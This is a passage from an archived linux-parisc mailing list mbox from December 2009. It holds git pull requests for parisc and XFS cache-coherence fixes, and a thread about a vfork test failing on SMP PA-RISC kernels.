	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBG4RceB017054;
	Wed, 16 Dec 2009 04:27:38 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-1.7 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2433 gmane.linux.kernel:928128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2433>

Hi Linus,

Mostly just compile and bug fixes this release, with a clean up from
Alexey to use seq_file, plus some ftrace stuff from Helge.

Thanks!
	Kyle

The following changes since commit 8bea8672edfca7ec5f661cafb218f1205863b343:
  Stephen Rothwell (1):
        mfd: compile fix for twl4030 renaming

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git next

Alexey Dobriyan (1):
      parisc: convert /proc/pdc/{lcd,led} to seq_file

David Daney (1):
      parisc: Convert BUG() to use unreachable()

Helge Deller (3):
      parisc: remove unused IRQSTAT_SIRQ_PEND and IRQSTAT_SZ defines
      parisc: add CALLER_ADDR{0-6} macros
      parisc: use sort() instead of home-made implementation (v2)

Huang Weiyi (1):
      parisc: remove duplicated #include

Thomas Gleixner (2):
      parisc: Replace old style lock init in smp.c
      parisc: Fixup last users of irq_chip->typename

 arch/parisc/include/asm/bug.h    |    4 +-
 arch/parisc/include/asm/ftrace.h |   14 +++++++++
 arch/parisc/kernel/asm-offsets.c |    3 --
 arch/parisc/kernel/irq.c         |    4 +-
 arch/parisc/kernel/signal.c      |    1 -
 arch/parisc/kernel/smp.c         |    9 ++++--
 arch/parisc/kernel/unwind.c      |   50 +++++++++++++++++++++++---------
 drivers/parisc/dino.c            |    2 +-
 drivers/parisc/eisa.c            |    2 +-
 drivers/parisc/gsc.c             |    2 +-
 drivers/parisc/iosapic.c         |    2 +-
 drivers/parisc/led.c             |   59 ++++++++++++++++++-------------------
 drivers/parisc/superio.c         |    2 +-
 13 files changed, 94 insertions(+), 60 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] xfs and block fixes for virtually indexed arches
Date: Wed, 16 Dec 2009 04:36:18 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20091216043618.GB9104@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260938197 1521 80.91.229.12 (16 Dec 2009 04:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:36:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James.Bottomley@suse.de, hch@infradead.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:36:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKlch-00019H-PP
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:36:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761031AbZLPEg1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:36:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760308AbZLPEg1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:36:27 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:40703 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756432AbZLPEg0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:36:26 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBG4aIio028165
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 16 Dec 2009 04:36:18 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBG4aInP028164;
	Wed, 16 Dec 2009 04:36:18 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-1.7 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2434 gmane.linux.kernel:928130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2434>

As discussed on linux-arch@ recently, these fixes are necessary for
XFS to work on virtually indexed architectures since otherwise vmalloc'd
pages are not properly flushed from the cache.

Thanks!
 Kyle

The following changes since commit 8bea8672edfca7ec5f661cafb218f1205863b343:
  Stephen Rothwell (1):
        mfd: compile fix for twl4030 renaming

are available in the git repository at:

  hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git coherence

James Bottomley (6):
      mm: add coherence API for DMA to vmalloc/vmap areas
      parisc: add mm API for DMA to vmalloc/vmap areas
      arm: add mm API for DMA to vmalloc/vmap areas
      sh: add mm API for DMA to vmalloc/vmap areas
      block: permit I/O to vmalloc/vmap kernel pages
      xfs: fix xfs to work with Virtually Indexed architectures

 Documentation/cachetlb.txt           |   24 ++++++++++++++++++++++++
 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/bio.c                             |   20 ++++++++++++++++++--
 fs/xfs/linux-2.6/xfs_buf.c           |   20 ++++++++++++++++++++
 include/linux/highmem.h              |    6 ++++++
 7 files changed, 94 insertions(+), 2 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] parisc pull request for 2.6.33
Date: Wed, 16 Dec 2009 04:37:21 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20091216043721.GC9104@hera.kernel.org>
References: <20091216042738.GA9104@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260938254 1618 80.91.229.12 (16 Dec 2009 04:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:37:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:37:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKldc-0001Ol-UT
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:37:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756444AbZLPEhY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:37:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761014AbZLPEhY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:37:24 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:59170 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756444AbZLPEhW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:37:22 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBG4bLjv029535
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 16 Dec 2009 04:37:21 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBG4bLon029534;
	Wed, 16 Dec 2009 04:37:21 GMT
Content-Disposition: inline
In-Reply-To: <20091216042738.GA9104@hera.kernel.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-1.7 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2435 gmane.linux.kernel:928131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2435>

On Wed, Dec 16, 2009 at 04:27:38AM +0000, Kyle McMartin wrote:
>   /pub/scm/linux/kernel/git/kyle/parisc-2.6.git next
> 

Dreadfully sorry, meant to fix that up to be:

hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git next

before I sent the email.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Wed, 16 Dec 2009 08:24:34 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <119aab440912160524s71b301c8u506eb67130f317c0@mail.gmail.com>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
	 <20091215222119.E6CD84ED7@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260969887 24460 80.91.229.12 (16 Dec 2009 13:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 13:24:47 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 14:24:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKtrp-0002iv-S9
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 14:24:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932418AbZLPNYh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2009 08:24:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932547AbZLPNYh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Dec 2009 08:24:37 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:35228 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932418AbZLPNYg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2009 08:24:36 -0500
Original-Received: by bwz27 with SMTP id 27so684969bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2009 05:24:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=oH7pPepHKBRobKoCO6+noyNw9ldeKNuS9tIER+FB61c=;
        b=G8RXNVZtGgb5VlYs3j6jdBVeNdWHR1hvkiO3Px+OoqpdLWXhbeD7+KwIHNj5t5/w2X
         aDrE7whNptKf5NKfv5veaEKU5sqcP1IZ0VUupf36P9hCbl0IAry4mCNUyjXX9oxxrggO
         3omVLiwmsNRlT/tAIEo0SpvsjDI0H9EOrIyeg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=mfwIcs7P8mjZc/iSEurhcuu4dCSdiBKuNK7bdCKcPArROrcxNrqZL4pFU1+p/RVr5H
         Qrlhg483JawfKbX7/zzQrETlSkXBSK+QcVHOk7G/drZq77ycmsjnq4ImNLyFugljdkji
         BlXJji0rHUx6W64jdryg+9sbWqivqY95ajqKc=
Original-Received: by 10.204.150.76 with SMTP id x12mr551084bkv.30.1260969874393; Wed, 
	16 Dec 2009 05:24:34 -0800 (PST)
In-Reply-To: <20091215222119.E6CD84ED7@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 088dea7832fb31a2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2436>

On Tue, Dec 15, 2009 at 5:21 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> I have constructed a vfork test case which shows some of the problems
>> I have using vfork reliably. This fails every time on my PA8700 system
>> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>> being corrupted.
>
> The test doesn't fail on two of my builds:
> Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
> Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc

Interesting.

> Are you running a SMP config?

Yes, 64-bit 2.6.32-rc6.

I recently discovered that execve is actually *returning* from the
kernel, and this is a huge problem. I'm instrumenting the kernel to
determine why this is happening.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Wed, 16 Dec 2009 22:22:19 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <4B294F8B.1070700@gmx.de>
References: <20091215222119.E6CD84ED7@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260998554 5722 80.91.229.12 (16 Dec 2009 21:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 21:22:34 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 22:22:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NL1KF-0004Si-An
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 22:22:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932215AbZLPVW0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2009 16:22:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932229AbZLPVW0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Dec 2009 16:22:26 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53345 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S932215AbZLPVWZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2009 16:22:25 -0500
Original-Received: (qmail invoked by alias); 16 Dec 2009 21:22:23 -0000
Original-Received: from p4FDB28F7.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.247]
  by mail.gmx.net (mp071) with SMTP; 16 Dec 2009 22:22:23 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX195nuBm+mt5em42hpMC64W9Gx1laNnByxTB42rCVf
	PEExFYF1NoXDOn
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Lightning/1.0pre Thunderbird/3.0b4
In-Reply-To: <20091215222119.E6CD84ED7@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.62
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2437>

On 12/15/2009 11:21 PM, John David Anglin wrote:
>> I have constructed a vfork test case which shows some of the problems
>> I have using vfork reliably. This fails every time on my PA8700 system
>> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>> being corrupted.
>
> The test doesn't fail on two of my builds:
> Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
> Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc

I did tested your testcase on my c3000 too but it didn't failed for me either.
This was on some 2.6.32-rc candidate.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Wed, 16 Dec 2009 16:35:04 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
References: <4B294F8B.1070700@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260999318 8203 80.91.229.12 (16 Dec 2009 21:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 21:35:18 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	James.Bottomley@hansenpartnership.com
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 22:35:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NL1WY-0001cc-2f
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 22:35:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757821AbZLPVfJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2009 16:35:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757907AbZLPVfJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Dec 2009 16:35:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2978 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757821AbZLPVfI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2009 16:35:08 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DE6EE537C; Wed, 16 Dec 2009 16:35:05 -0500 (EST)
In-Reply-To: <4B294F8B.1070700@gmx.de> from "Helge Deller" at Dec 16, 2009 10:22:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2438>

> On 12/15/2009 11:21 PM, John David Anglin wrote:
> >> I have constructed a vfork test case which shows some of the problems
> >> I have using vfork reliably. This fails every time on my PA8700 system
> >> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
> >> being corrupted.
> >
> > The test doesn't fail on two of my builds:
> > Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
> > Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc
> 
> I did tested your testcase on my c3000 too but it didn't failed for me either.
> This was on some 2.6.32-rc candidate.

I think it must be because Carlos is building SMP kernels.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 08:22:56 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <20091217132256.GO28962@bombadil.infradead.org>
References: <20091216043618.GB9104@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261056191 1996 80.91.229.12 (17 Dec 2009 13:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 13:23:11 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, James.Bottomley@suse.de,
	hch@infradead.org, linux-arch@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 14:23:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLGJo-0002uO-3u
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 14:23:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759720AbZLQNXA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 08:23:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759804AbZLQNW7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 08:22:59 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34440 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759720AbZLQNW6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 08:22:58 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NLGJk-0006W2-9s; Thu, 17 Dec 2009 13:22:56 +0000
Content-Disposition: inline
In-Reply-To: <20091216043618.GB9104@hera.kernel.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2439 gmane.linux.kernel:929183 gmane.linux.kernel.cross-arch:4885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2439>

Linus, any word on these? I'd really love to get jejb and hch off
my back. :)

cheers, Kyle

On Wed, Dec 16, 2009 at 04:36:18AM +0000, Kyle McMartin wrote:
> As discussed on linux-arch@ recently, these fixes are necessary for
> XFS to work on virtually indexed architectures since otherwise vmalloc'd
> pages are not properly flushed from the cache.
> 
> Thanks!
>  Kyle
> 
> The following changes since commit 8bea8672edfca7ec5f661cafb218f1205863b343:
>   Stephen Rothwell (1):
>         mfd: compile fix for twl4030 renaming
> 
> are available in the git repository at:
> 
>   hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git coherence
> 
> James Bottomley (6):
>       mm: add coherence API for DMA to vmalloc/vmap areas
>       parisc: add mm API for DMA to vmalloc/vmap areas
>       arm: add mm API for DMA to vmalloc/vmap areas
>       sh: add mm API for DMA to vmalloc/vmap areas
>       block: permit I/O to vmalloc/vmap kernel pages
>       xfs: fix xfs to work with Virtually Indexed architectures
> 
>  Documentation/cachetlb.txt           |   24 ++++++++++++++++++++++++
>  arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
>  arch/parisc/include/asm/cacheflush.h |    8 ++++++++
>  arch/sh/include/asm/cacheflush.h     |    8 ++++++++
>  fs/bio.c                             |   20 ++++++++++++++++++--
>  fs/xfs/linux-2.6/xfs_buf.c           |   20 ++++++++++++++++++++
>  include/linux/highmem.h              |    6 ++++++
>  7 files changed, 94 insertions(+), 2 deletions(-)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 08:25:32 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <20091217132532.GA28304@infradead.org>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261056348 2567 80.91.229.12 (17 Dec 2009 13:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 13:25:48 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, James.Bottomley@suse.de,
	hch@infradead.org, linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 17 14:25:35 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
